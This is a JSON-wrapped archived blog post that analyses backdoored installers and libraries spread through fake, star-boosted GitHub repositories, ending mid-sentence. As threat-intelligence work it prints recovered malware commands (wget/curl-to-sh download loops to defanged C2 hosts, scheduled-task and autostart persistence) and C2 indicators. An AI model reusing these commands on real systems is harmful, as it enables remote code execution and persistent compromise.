{
	"id": "0db7483c-d7e7-4863-a87e-e2652d0c1596",
	"created_at": "2026-04-06T00:11:33.496854Z",
	"updated_at": "2026-04-10T03:20:06.782053Z",
	"deleted_at": null,
	"sha1_hash": "b6f8f7a3aaaf66b4db83be47d102fff450a26aff",
	"title": "The Supreme Backdoor Factory - dfir it!",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2170581,
	"plain_text": "The Supreme Backdoor Factory - dfir it!\r\nBy dfir.it!\r\nPublished: 2019-02-26 · Archived: 2026-04-05 16:05:54 UTC\r\nRecently I was playing with VirusTotal Intelligence and while testing some dynamic behavior queries I stumbled upon this\r\nstrange PE binary (MD5: 7fce12d2cc785f7066f86314836c95ec ). The file claimed to be an installer for the JXplorer 3.3.1.2,\r\na Java-based “cross platform LDAP browser and editor” as indicated on its official web page. Why was it strange? Mostly\r\nbecause I did not expect an installer for a quite popular LDAP browser to create a scheduled task in order to download and\r\nexecute PowerShell code from a subdomain hosted by free dynamic DNS provider:\r\nI initially planned to keep this write-up short and focus on dissecting suspicious JXplorer binary. However, analyzing the\r\nJXplorer binary turned out to be only the first step into the world of backdoored software.\r\nJXplorer\r\nIn order to validate my VirusTotal finding I downloaded a matching version of Windows installer (3.3.1.2) from the official\r\nJXplorer SourceForge repository. Unsurprisingly, the MD5 hashes of both files were different. Last thing I wanted to do was\r\nto disassemble two 7 megabytes PE binaries so I started with simpler checks in order to locate difference(s). As binaries\r\nwere packed with UPX, I unpacked them with the upx tool and compared MD5s of PE sections. The sections were all\r\nidentical, with exception of the resource section. I was not sure how content of the PE resource section could affect behavior\r\nof the installer so I used VBinDiff to see the exact difference. The tool actually revealed the following modifications:\r\nThe manifest file located in the resource section, specifically the requestedExecutionLevel property. The original\r\nfile required Administrator privileges ( requireAdministrator ) while the modified was fine with running with\r\ncaller’s privilege level\r\nAdditional newline character appended to the file - explaining 1 byte size difference between the files\r\nA relatively small (3230 bytes) blob of what seemed to be ZLIB compressed data at offset 0x4be095. Note the clear\r\ntext file names just before the ZLIB header ( http-2.7.9.tm , platform-1.0.10.tm ):\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 1 of 16\n\nThe first two differences did not seem to be important so I focused on the last one. The identified ZLIB data was placed in\r\nthe PE file overlay space and I figured that it was likely part of an archive used by the installer to store JXplorer files.\r\nFortunately, JXplorer web page mentioned that JXplorer was using the BitRock Install Builder and after short search I\r\nmanaged to find the following Tcl unpacker for BitRock archives: bitrock-unpacker.\r\nOnce I installed the ActiveTcl and downloaded required SDX file I used the bitrock-unpacker script to unpack JXplorer\r\ninstallation files from both installers. Then I used the WinMerge tool to compare resulting files and directories. To my\r\nsurprise there were no differences which meant that JXplorer application files were left intact. That also meant that I needed\r\nto dig a bit further.\r\nAfter going through bitrock-unpacker code I noticed that it first mounted the Metakit database in order to extract installer\r\nfiles that were used to locate and extract the Cookfs archive storing JXplorer files. Using existing bitrock-unpacker code I\r\ncreated this Tcl script to dump all installer files from the Metakit database to disk. This time comparing BitRock installer\r\nfiles yielded interesting results.\r\nWinMerge showed one difference - a file named http-2.7.9.tm , located in the \\lib\\tcl8\\8.4\\ directory.\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 2 of 16\n\nDespite having the same size and timestamps ( atime , ctime , mtime as extracted from the Cookfs archive) the file\r\nhttp-2.7.9.tm (MD5: f6648f7e7a4e688f0792ed5a88a843d9 , VT) extracted from the modified installer did not remind\r\nstandard http.tcl module. Instead it contained exactly what I was looking for:\r\nBelow is the summary of actions performed by the http-2.7.9.tm script:\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 3 of 16\n\nCreate a scheduled task named Notification Push to download and execute PowerShell code from\r\nhxxp://svf.duckdns[.]org\r\nWrite a JAR file (MD5: 9d4aeb737179995a397d675f41e5f97f , VT) to %TEMP%\\..\\Microsoft\\ExplorerSync.db .\r\nCreate a scheduled task ExplorerSync to execute ExplorerSync.db\r\nWrite a JAR file (MD5: 533ac97f44b4aea1a35481d963cc9106 , VT) to %TEMP%\\BK.jar and execute it with the\r\nfollowing command line parameters: hxxp://coppingfun[.]ml/blazebot %USERPROFILE%\\Desktop\\sup-bot.jar\r\nExecute additional JAR file downloaded in the previous step\r\nping a legitimate domain supremenewyork[.]com\r\nSome of the actions were a bit odd to me (Why would you drop malware(?) to user’s Desktop? Why would you choose that\r\nspecific domain supremenewyork[.]com ?). That got me thinking that I might be dealing with a testing version of modified\r\ninstaller. The names of files ( blazebot , sup-bot ) did not ring any bells either so I decided to do a bit of online research.\r\nBlazebot\r\nOne of the top Google search results for the keyword blazebot was this YouTube video created by Stein Sørnson and titled\r\nBlaze Bot Supreme NYC . The video presented a process of downloading, running and configuring what seemed to be a\r\nJava-based sneaker bot (TIL!) called blazebot / Supreme NYC Blaze Bot . Both the YouTube video content and its\r\ndescription referenced a source from which one can download blazebot: a GitHub repository steisn/blazebot [Wayback\r\nMachine copy]. Git commit messages for that repository contained following author entries: Stein Sørnson\r\n\u003ced.fishman392@mail[.]ru\u003e (sample commit message) suggesting that Stein Sørnson was the owner of both YouTube\r\nchannel and GitHub repository.\r\nWith such unique name it was not hard to find another online account related to Stein Sørnson, this time on SourceForge -\r\nallare778 [Wayback Machine]. While the username was set to allare778 the full name was present in the profile page\r\ntitle:\r\nThe allare778 account owned three projects:\r\nsupremebot [Wayback Machine copy], which referenced previously discussed YouTube video and hosted multiple\r\nfiles, including supremebot.jar (MD5: 2098d71cd1504c8be229f1f8feaa878b , VT), exactly the same file that was\r\nalso present in the blazebot GitHub repository (as blazebot-1.02.11.jar )\r\nelitesubot [Wayback Machine copy], which was empty and did not list any past activity\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 4 of 16\n\nallesare [Wayback Machine copy], which also did not contain any files; however, it listed project activity, including\r\nnames of previously uploaded files:\r\nThere was also one additional detail concerning blazebot that started to make sense to me much later. While back then I did\r\nnot have many reasons to analyze that sneaker bot I took a quick look at decompiled Java classes. The bot contained an\r\nupdate functionality that downloaded AES encrypted and RSA signed “update instructions” file from the other project\r\nrepository belonging to the user allare778 :\r\nhxxp://allesare.sourceforge[.]net/en-us/bver\r\nThe implementation of update mechanism seemed to allow project owner to execute arbitrary system commands on hosts\r\nrunning blazebot.\r\nAt that point I thought that the connection between modified JXplorer installer and the “Supreme NYC Blaze Bot” could be\r\njust coincidental. I took a step back and analyzed two JAR files extracted from the http-2.7.9.tm Tcl script hoping that\r\nthey will provide further clues.\r\nJDL and FEN\r\nThis was a quick exercise as both JAR files turned out to contain compact downloaders/loaders. The BK.jar file (MD5:\r\n533ac97f44b4aea1a35481d963cc9106 , VT) contained the jdl package implementing simple downloader. It was\r\nresponsible for downloading data from URL provided as a first command line argument and then saving it to a file provided\r\nas a second command line argument.\r\nThe second JAR file ExplorerSync.db (MD5: 9d4aeb737179995a397d675f41e5f97f , VT) was more interesting as it\r\ncontained two hardcoded URLs. The fen package implemented an infinite loop trying to download and invoke Java code\r\n(from the fmb package) from the following two URLs:\r\nhxxp://ecc.freeddns[.]org/data.txt\r\nhxxp://san.strangled[.]net/stat\r\nWhile the san.strangled[.]net did not have resolution at the time of analysis, the ecc.freeddns[.]org DNS A record\r\npointed to 207.38.69[.]206 , an IP address hosting Dynu’s web redirect service. The ecc.freeddns[.]org was set to\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 5 of 16\n\nredirect HTTP requests to jessicacheshire.users.sourceforge[.]net and fortunately the data.txt file was still present\r\nthere.\r\nFEimea Portable App\r\nAs expected the data.txt (MD5: 65579b8ed47ca163fae2b3dffd8b4d5a , VT) was a yet another JAR file. Going through\r\ndecompiled code it was quite evident that code implemented functionality typical for a RAT. This is by no means a complete\r\nanalysis of the code (there is much more ahead of us!) but I made following observations while skimming through the code:\r\nThe tool identified itself as FEimea Portable App - ver. 3.11.2 Mainline . It also returned following version\r\nstrings: Audio system : (none) , Audio codecs : (none) while it did not seem to implement any audio related\r\nfunctionality\r\nIt supported following set of commands: ACCESS, APPEND, BYE, COPY, DOWNLOAD, FETCH, HASH, LIST,\r\nLOGOUT, NOOP, PWD, REMOVE, RENAME, SELECT, STAT, VERSION\r\nIt seemed to use embedded RSA modulus and public exponent to encrypt and decrypt network communication with\r\ntwo hardcoded command and control servers: limons.duckdns[.]org (TCP/13057) and\r\npolarbear.freeddns[.]org (TCP/7003)\r\nAdditionally it reported ROT13 encoded username, operating system type and architecture to the following URL:\r\nhxxp://utelemetrics.atwebpages[.]com/update.php?tag=\u003cROT13_DATA\u003e\r\nIt also had capability of invoking Java code obtained from the hardcoded URL:\r\nhxxp://ecc.freeddns[.]org/a2s.txt (not available at the time of analysis)\r\nInterestingly it also implemented a very specific function to extract user name value from the .gitconfig file\r\nlocated in user’s home directory\r\nAt that point I ran out of files to analyze but at the same time suspected that with the existence of the FEimea Portable App\r\nthere is likely much more to this story than just someone playing with the JXplorer installer. I made an assumption that\r\nwhile I might have stumbled upon a testing version of the modified installer there might be other versions floating around. I\r\nalso expected that some distribution channel for modified installer must exist.\r\nJXplorer: Part Deux\r\nI set out for a hunt. I downloaded latest Windows version (3.3.1.2) of the JXplorer installer from its official website and I\r\ncompared MD5 hash with installer file hosted on the official GitHub repository pegacat/jxplorer. They were the same (MD5:\r\nc23a27b06281cfa93641fdbb611c33ff ). I did the same with JXplorer installer files downloaded from multiple software\r\nhosting websites. Same results. I repeated the process with files grabbed from SourceForge mirrors. All good. Then I\r\nsearched for JXplorer on GitHub:\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 6 of 16\n\nIf not the number of stars assigned to the repositories I would probably have ignored the results. How come the official\r\nJXplorer GitHub repository (pegacat/jxplorer) had 39 stars while the next one (serkovs/jxplorer [Wayback Machine copy])\r\nhad twice as many? The difference was even more striking with subscribers of each repository (11 vs 66). What was also\r\nstrange the serkovs/jxplorer was not even a clone of the official JXplorer repository and it only contained a single file -\r\nLinux installer for the JXplorer 3.3.1.2:\r\nI downloaded Linux installer (32 bit ELF binary) from both repositories and compared the files. Just by looking and their\r\nsizes I knew they were different. The original Linux installer file jxplorer-3.3.1.2-linux-installer.run (MD5:\r\n0c00fd22c65932ba9ce58b4ba6107cf0 , VT) was 7679495 bytes long, while the one downloaded from serkovs/jxplorer\r\n(MD5: 0489493aeb26b6772bf3653aedf75d2a , VT) was a bit larger (7954444 bytes).\r\nBoth files were generated by BitRock Install Builder, the same tool that was used to create Windows version of the installer.\r\nI knew the drill and immediately used bitrock-unpacker to extract JXplorer software files and then compared them. There\r\nwere no differences. Next I extracted BitRock installer files - again files were identical so I decided to further inspect the\r\nbinary downloaded from the serkovs/jxplorer repository. While skimming through the binary in hex editor I noticed strings\r\ncharacteristic for the UPX packer however my attempt to unpack it with the upx tool was unsuccessful and I got the not\r\npacked by UPX error. After a while I realized that the file lacked usual UPX magic values ( UPX! ) which were replaced by\r\nthe following string: L1ma . Fortunately upx was able to unpack the file after I replaced all occurrences of L1ma with the\r\noriginal value of UPX! .\r\nOnce I had the unpacked file (MD5: 25c47cf531e913cb4a59b2237ab85963 , VT) I spent some time reverse-engineering it\r\nand eventually I found a suspicious function that started with decrypting 704 bytes of data (located at file offset 0x92040)\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 7 of 16\n\nusing 256 bytes long XOR key (located at file offset 0x66700). The decrypted data contained 15 null-terminated strings. The\r\nultimate goal of the code was to establish persistence and to execute the following command:\r\n1 /bin/sh -c 'while true;do wget hxxp://yzyaio.onlinewebshop[.]net/act/stat.php?info=SLADE -O -|sh;sleep 60;done\u003e/dev/null 2\u003e\u00261'\r\nThe code followed two main paths, depending on privileges it was executed with. When ran with root privileges the code\r\nwould perform following actions:\r\nCreate a new systemd service rpc-statd-sync (with the following description: Sync NFS peers due to a\r\nrestart ) to execute above one-liner\r\nEstablish additional persistence for every user in the system by creating a desktop entry\r\n( ~/.config/autostart/.desktop ) to execute above one-liner\r\nWithout root privileges the code resorted only to infecting current user.\r\nWhile modified software was rather specific, at that stage I did not have any proof that the same entity was behind\r\nmodification of both (Linux and Windows) JXplorer installers. I was also very curious what else I can find on GitHub.\r\nThe Power of Social Graph\r\nI started going through GitHub accounts that starred or subscribed the repository serkovs/jxplorer and I quickly noticed\r\npatterns:\r\nAccounts seemed to be created in multiple batches, on specific dates, as if the process was automated\r\nAccounts created on 2018-03-04 did not have any content and were simply used to star 41 other repositories\r\nAccounts created at earlier dates (February 2018) were used both to host a single repository and to increase\r\nauthenticity of other repositories by starring and subscribing them\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 8 of 16\n\nThere were additional similarities among accounts that hosted repositories:\r\nEach account hosted a single repository with a history of one or two commits\r\nThe author field in the Git commit messages indicated consistent usage of free Slovakian email service pobox[.]sk\r\n, with username often corresponding to the one used on GitHub (sample commit message)\r\nTimestamps present in the Git commit messages consistently indicated CET time zone\r\nCommit messages tended to be consistent among different accounts and repositories, e.g. erroneous message “2st\r\ncommit” appeared in different repositories belonging to different accounts: aurelrybar/editbox [Wayback Machine\r\ncopy], henrichjahoda/ardublock [Wayback Machine copy]\r\nCommits seemed to be automated and occurred at specific times among different accounts and repositories, e.g.\r\ngabrieolo/bounceball (2018-04-28 11:11:17), karibanker/eug (2018-04-28 11:11:18), jeanelletobler/gumbo (2018-04-\r\n28 11:11:19)\r\nMost repositories hosted a single JAR file, usually a game (gabrieolo/bounceball [Wayback Machine copy]), tool\r\n(jelamarucka/pdfjumbler [Wayback Machine copy]) or library (vaclaw281/junit [Wayback Machine copy])\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 9 of 16\n\nI eventually ended up using GitHub API and Neo4j to collect and analyze metadata associated with suspicious accounts and\r\nrepositories. Data showed nothing but a confined network of GitHub accounts starring and subscribing each others’\r\nrepositories.\r\nAs I was limited with time and resources and was not able to analyze each file in each identified repository I resorted to\r\nanalyzing only a small subset of files. Two of the repositories turned out to contain interesting artifacts that allowed me to\r\ndraw additional connections and fill existing gaps. Below graph shows “social interactions” between the serkovs account,\r\ntwo other accounts that I analyzed (mansiiqkal and ballory) and a number of related (starred/subscribed) repositories:\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBE\r\nS\r\nD\r\nTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED STAR…\r\nSUBS…\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBE\r\nS\r\nD\r\nTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRE\r\nS\r\nD\r\nUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBE\r\nS\r\nD\r\nTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIB…\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nCREATED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBS…\r\nSTAR…\r\nSUBSCRIBED\r\nSTARRED\r\nSTAR…\r\nSUBS…\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSTARRED\r\nSUBSCRIBED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSTARRED\r\nCREATED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nS\r\nS\r\nT\r\nTA\r\nARRRREEDD\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED STARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED SUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nCREATED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSTARRED\r\nSUBSCRIBED SUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED SUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nSUBSCRIBED\r\nserkovs\r\nballory\r\nmansiiqkal\r\nburhanick_min…\r\nmabostracky_t…\r\nvladekmikor_s…\r\nmarceltutailo_s…\r\ndarinkaleo_neu…\r\nstangard09_jt4…\r\nbeataschumsk…\r\nivonka271_ne…\r\nladislavask_su…\r\nbucka23_jpwsa…\r\ngczunka_ta-lib\r\nsimonmirolok_…\r\njelamarucka_p…\r\npeska817_mon…\r\nemilemilan290…\r\nmilosbukietov_t…\r\nserkovs_jxplorer\r\ndanielstrnad_ja…\r\nmansiiqkal_eas…\r\nhenrichjahoda_…\r\neugeniamcque…\r\nsharityfedorova…\r\ndarylprivitt_jskat\r\ngregzima_robo…\r\nmarkodelka_up…\r\nsyedlopez_pro…\r\njurajkabackov_j…\r\nsonajukubska_j…\r\nalicialohitka_jd…\r\naurelrybar_edit…\r\ndanaochdana_…\r\nadorehollenber…\r\nliannepitter_jav…\r\nlonniewarmerd…\r\nailynmittleman…\r\nharliearrighi_jm…\r\ngabrieolo_boun…\r\nnavsty091_ope…\r\nvaclaw281_junit\r\nmstarenna_her…\r\nzdenkohenkots…\r\nalexiejmarckut…\r\njohnaallanson_…\r\nglorybatelli_jav…\r\nkaribanker_eug\r\nballory_ffmpeg\r\nivetakovac_jmu…\r\nzuzkaya34_jac…\r\nalicaangelaaa_…\r\nluboslucia_cglib\r\nadamrybak9_a…\r\ndretressel_teac…\r\nbarbeebernbau…\r\nlenabrekken_js…\r\njeanelletobler_…\r\nadamkulecky_j…\r\nbooohumir_ge…\r\nmalinov97_csvj…\r\nsibyllabalkam_…\r\nrochettecoahra…\r\nThe Missing Link\r\nI decided to inspect content of the ballory/ffmpeg [Wayback Machine copy] repository because it did not contain JAR file(s)\r\nlike most of other identified repositories - instead it had a bunch of Linux binaries, claiming to contain “FFmpeg Linux\r\nBuild (64 bit)”. Additionally, the repository stood out as it did not have as many stars and subscribers as others (only 14)\r\nhowever the owner ( ballory ) starred and subscribed at least 60 other repositories according to the collected data.\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 10 of 16\n\nThe readme.txt file present in the repository directly linked to www.johnvansickle.com/ffmpeg/, a website hosting static\r\nffmpeg builds for Linux. In fact, file names and directory structure matched sample build I downloaded from there. I did not\r\nfind that exact build ( ffmpeg-git-20180427-64bit-static.tar.xz listed in the readme.txt file) on\r\nwww.johnvansickle.com so I was not able to compare files.\r\nWhen I started analyzing the ffmpeg 64 bit ELF binary (MD5: c78ccfc45bfba703cce0fc0c75c0f6af , VT) I immediately\r\nnoticed suspicious code right at the entry point. The code was responsible for mapping the binary via /proc/self/exe and\r\nthen jumping to a specific offset, 624 bytes from the end of the file. After dumping and disassembling shellcode occupying\r\nlast 624 bytes of the binary I was left with a short decryption loop (XOR 0x37, SUB 0x2e) and encrypted data. The\r\ndecrypted data contained shellcode responsible for forking and executing following command in the child process via\r\nexecve syscall:\r\n1 /bin/sh -c 'cd /home/`whoami`/.config\u0026\u0026mkdir -p autostart\u0026\u0026cd autostart\u0026\u0026echo [Desktop Entry]\u003ey\u0026\u0026echo Type=Application\u003e\u003ey\u0026\u0026echo Exe\r\nThat was exactly what I was looking for. The allesare SourceForge project was owned by the account named\r\nallare778 (Stein Sørnson), and this finding created plausible link between the GitHub user ballory and that account.\r\nRemaining part of the code was supposed to run in the parent process and was responsible for decrypting (XOR 0x11, SUB\r\n0x31) 162 bytes of data located 786 bytes from the end of the file and jumping to it. The decrypted data seemed to contain\r\noriginal entry point function.\r\nThe other analyzed binaries from the repository ( ffmpeg-10bit (MD5: 6d5bea9bfe014fc737977e006692ebf3 , VT),\r\nffprobe (MD5: 98f8600ff072625fd8ff6b3e14675648 , VT), qt-faststart (MD5:\r\ne9b58b1e173734b836ed4b74184c320b , VT)) contained same pieces of shellcode, located at the same offsets from the end of\r\nfiles and used the same decryption routines. The only small differences were in the hardcoded offsets.\r\nThe Even More Missing Link\r\nThe second repository that yielded interesting results was mansiiqkal/easymodbustcp-udp-java [Wayback Machine copy].\r\nThe repository was starred and subscribed by both serkovs and ballory accounts. The description ( Easy Modbus\r\nTCP/UDP/RTU ) and the file name ( EasyModbusJava.jar ) suggested that it contained the EasyModbus Java library.\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 11 of 16\n\nI downloaded the most recent version (2.8, released on 2017-03-14) of EasyModbusJava.jar (MD5:\r\n56668c3915a0aa621d7f07aa11f7c8a9 , VT) from the official EasyModbus project page and compared it with\r\nEasyModbusJava.jar (MD5: 4d18388a9b351907be4a9f91785c9997 , VT) from mansiiqkal/easymodbustcp-udp-java.\r\nThere was no doubt about it, files were different. I used the zipinfo to list archives’ files and metadata. The JAR from\r\nmansiiqkal/easymodbustcp-udp-java was a bit larger (97272 vs 114504 bytes), included one additional file\r\n( INumberOfConnectedClientsChangedDelegator1.class ) and according to timestamps was (re)packaged at 2018-03-22\r\n18:29:58 (which in turn correlated with timestamp present in this Git commit message).\r\nTo be sure these were the only differences I used Jd-Gui to save decompiled Java classes from both JARs and then used\r\nWinMerge to see differences. Skipping negligible code formatting artifacts generated by the decompiler here is what I\r\nfound:\r\nThe extra file de/re/easymodbus/server/INumberOfConnectedClientsChangedDelegator1.class contained three\r\nlarge byte arrays and what seemed to be a decryption function\r\n12 other classes explicitly imported the INumberOfConnectedClientsChangedDelegator1 class\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 12 of 16\n\nThe code present in the INumberOfConnectedClientsChangedDelegator1 class was designed to drop files to disk and\r\nestablish persistence. The code used a custom decryption routine to decrypt an array of bytes and then used resulting blob\r\n(3011 bytes in total, MD5: cf2ca657816af534c07c8ceca167e25b , VT) as a source of file content and strings (file names,\r\nsystem commands).\r\nDepending on the operating system type the code was executed on, it performed different actions described below:\r\nLinux\r\nThe code dropped a JAR file (MD5: 9d4aeb737179995a397d675f41e5f97f ) to $HOME/.local/share/bbauto and created a\r\ndesktop entry persistence by setting $HOME/.config/autostart/none.desktop file to execute the following command:\r\n1 /bin/sh -c \"java -jar $HOME/.local/share/bbauto\"\r\nThe code also created an additional desktop entry $HOME/.config/autostart/.desktop set it to execute the following\r\ncommand:\r\n1 /bin/sh -c 'while true;do wget hxxp://eln.duckdns[.]org/se -O -|sh;sleep 60;done'\r\nmacOS\r\nThe code dropped a JAR file (MD5: 9d4aeb737179995a397d675f41e5f97f ) to\r\n$HOME/Library/LaunchAgents/AutoUpdater.dat and established persistence by creating a launch agent called\r\nAutoUpdater ( $HOME/Library/LaunchAgents/AutoUpdater.plist ).\r\nThe code also created an additional launch agent called SoftwareSync set to execute the following command:\r\nhttps://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/\r\nPage 13 of 16\n\n1 /bin/sh -c 'while true;do curl hxxp://eln.duckdns[.]org/se -o -|sh;sleep 60;done'\r\nWindows\r\nThe code dropped a JAR file (MD5: 9d4aeb737179995a397d675f41e5f97f ) to %temp%\\..\\Microsoft\\ExplorerSync.db and\r\nestablished persistence by executing following command:\r\n1 schtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f\r\nThe dropped JAR file (MD5: 9d4aeb737179995a397d675f41e5f97f ) and Windows file and scheduled task names\r\n( ExplorerSync.db , ExplorerSync ) were exactly the same as discovered in the modified JXplorer Tcl installer script. This\r\ncreated another plausible connection between the mansiiqkal/easymodbustcp-udp-java repository and modified Windows\r\ninstaller of JXplorer.\r\nI also analyzed previous version of the EasyModbusJava.jar (MD5: 38f51f6555eba1f559b04e1311deee35 , VT) file\r\ncommitted to the mansiiqkal/easymodbustcp-udp-java repository on 2018-02-20. It contained the same additional Java class\r\nhowever code was a bit different due to changes in an encrypted array and offsets referencing decrypted data. When\r\ndecrypted the blob (3011 bytes long, MD5: 9a3936c820c88a16e22aaeb11b5ea0e7 , VT) contained mostly the same data as\r\nlater version. The only notable difference was usage of %APPDATA% instead of %TEMP% as a base directory for location of\r\ndropped JAR file on a Windows systems.\r\nSummary\r\nBy following breadcrumbs I was able to discover and draw connections between pieces of malware and online\r\ninfrastructure:\r\n1. The modified JXplorer Windows installer found on VirusTotal and modified EasyModbus Java library found on\r\nGitHub (mansiiqkal/easymodbustcp-udp-java) dropped the same JAR file (FEN downloader, MD5:\r\n9d4aeb737179995a397d675f41e5f97f ). Further similarities were visible in the dropped file path\r\n( %TEMP%\\..\\Microsoft\\ExplorerSync.db ) and scheduled task name ( ExplorerSync )\r\n2. GitHub account mansiiqkal was part of the same “social circle” as other GitHub accounts: ballory and serkovs,\r\namong others. The accounts were linked by starring and subscribing to the same, confined set of GitHub repositories,\r\nincluding each other’s repositories\r\n3. GitHub account ballory created the ballory/ffmpeg repository containing modified version of ffmpeg tools. Malicious\r\ncode present in these tools was set to download a file from the following SourceForge project URL\r\nhxxp://allesare.sourceforge[.]net/ . The project was owned by an account named allare778 (Stein Sørnson).\r\nThe same account owned another project named supremebot, hosting a sneaker bot with the same name (and\r\ndescribed as “Supreme New York Bot”)\r\n4. The supremebot.jar file (MD5: 2098d71cd1504c8be229f1f8feaa878b ) hosted by the SourceForge supremebot\r\nproject was also present in the steisn/blazebot GitHub repository belonging to the account steisn (Stein Sørnson).\r\nAdditionally the YouTube account Stein Sørnson hosted a video about “Blaze Bot Supreme NYC”. Coincidentally,\r\nthe malicious code present in the modified JXplorer Windows installer referenced “blazebot” and\r\nsupremenewyork[.]com\r\n5. GitHub account serkovs created the serkovs/jxplorer repository containing modified JXplorer Linux installer file.\r\nWhile the malicious code present in the binary did not reference any previously observed infrastructure 